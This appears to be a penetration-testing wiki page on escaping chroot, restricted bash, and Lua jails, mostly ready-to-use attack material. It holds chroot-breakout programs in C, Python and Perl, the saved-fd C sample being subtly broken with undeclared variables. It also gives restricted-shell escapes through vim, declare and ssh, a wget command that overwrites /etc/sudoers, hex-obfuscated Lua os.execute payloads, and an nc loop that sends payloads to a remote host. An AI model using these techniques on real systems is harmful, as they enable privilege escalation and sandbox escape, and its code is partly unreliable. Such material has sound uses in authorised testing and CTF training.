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Escaping from Jails

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GTFOBins

Search in https://gtfobins.github.io/ if you can execute any binary with "Shell" property

Chroot Escapes

From wikipedia: The chroot mechanism is not intended to defend against intentional tampering by privileged (root) users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.
Usually this means that to escape you need to be root inside the chroot.

{% hint style="success" %} The tool chw00t was created to abuse the following escenarios and scape from chroot. {% endhint %}

Root + CWD

{% hint style="warning" %} If you are root inside a chroot you can escape creating another chroot. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then create a new chroot on that new folder being you outside of it, you will now be outside of the new chroot and therefore you will be in the FS.

This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it. {% endhint %}

Usually you won't find the chroot binary inside a chroot jail, but you could compile, upload and execute a binary:

C: break_chroot.c 
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0; i < 1000; i++) {
        chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}
Python 
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
    os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Perl 
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
    chdir ".."
}
chroot ".";
system("/bin/bash");

Root + Saved fd

{% hint style="warning" %} This is similar to the previous case, but in this case the attacker stores a file descriptor to the current directory and then creates the chroot in a new folder. Finally, as he has access to that FD outside of the chroot, he access it and he escapes. {% endhint %}

C: break_chroot.c 
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("tmpdir", 0755);
    dir_fd = open(".", O_RDONLY);
    if(chroot("tmpdir")){
        perror("chroot");
    }
    fchdir(dir_fd);
    close(dir_fd);  
    for(x = 0; x < 1000; x++) chdir("..");
    chroot(".");
}

Root + Fork + UDS (Unix Domain Sockets)

{% hint style="warning" %} FD can be passed over Unix Domain Sockets, so:

  • Create a child process (fork)
  • Create UDS so parent and child can talk
  • Run chroot in child process in a different folder
  • In parent proc, create a FD of a folder that is outside of new child proc chroot
  • Pass to child procc that FD using the UDS
  • Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail {% endhint %}

Root + Mount

{% hint style="warning" %}

  • Mounting root device (/) into a directory inside the chroot
  • Chrooting into that directory

This is possible in Linux {% endhint %}

Root + /proc

{% hint style="warning" %}

  • Mount procfs into a directory inside the chroot (if it isn't yet)
  • Look for a pid that has a different root/cwd entry, like: /proc/1/root
  • Chroot into that entry {% endhint %}

Root(?) + Fork

{% hint style="warning" %}

  • Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it
  • From the parent process, move the folder where the child process is in a folder previous to the chroot of the children
  • This children process will find himself outside of the chroot {% endhint %}

ptrace

{% hint style="warning" %}

  • Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore
  • Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it (see this example). {% endhint %}

Bash Jails

Enumeration

Get info about the jail:

echo $SHELL
echo $PATH
env
export
pwd

Modify PATH

Check if you can modify the PATH env variable

echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory

Using vim

:set shell=/bin/sh
:shell

Create script

Check if you can create an executable file with /bin/bash as content

red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

Get bash from SSH

If you are accessing via ssh you can use this trick to execute a bash shell:

ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "

Declare

declare -n PATH; export PATH=/bin;bash -i
 
BASH_CMDS[shell]=/bin/bash;shell -i

Wget

You can overwrite for example sudoers file

wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

Other tricks

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shells
https://gtfobins.github.io
It could also be interesting the page:

{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

Python Jails

Tricks about escaping from python jails in the following page:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Lua Jails

In this page you can find the global functions you have access to inside lua: https://www.gammon.com.au/scripts/doc.php?general=lua_base

Eval with command execution:

load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()

Some tricks to call functions of a library without using dots:

print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))

Enumerate functions of a library:

for k,v in pairs(string) do print(k,v) end

Note that every time you execute the previous one liner in a different lua environment the order of the functions change. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:

#In this scenario you could BF the victim that is generating a new lua environment 
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done

Get interactive lua shell: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling:

debug.debug()

References

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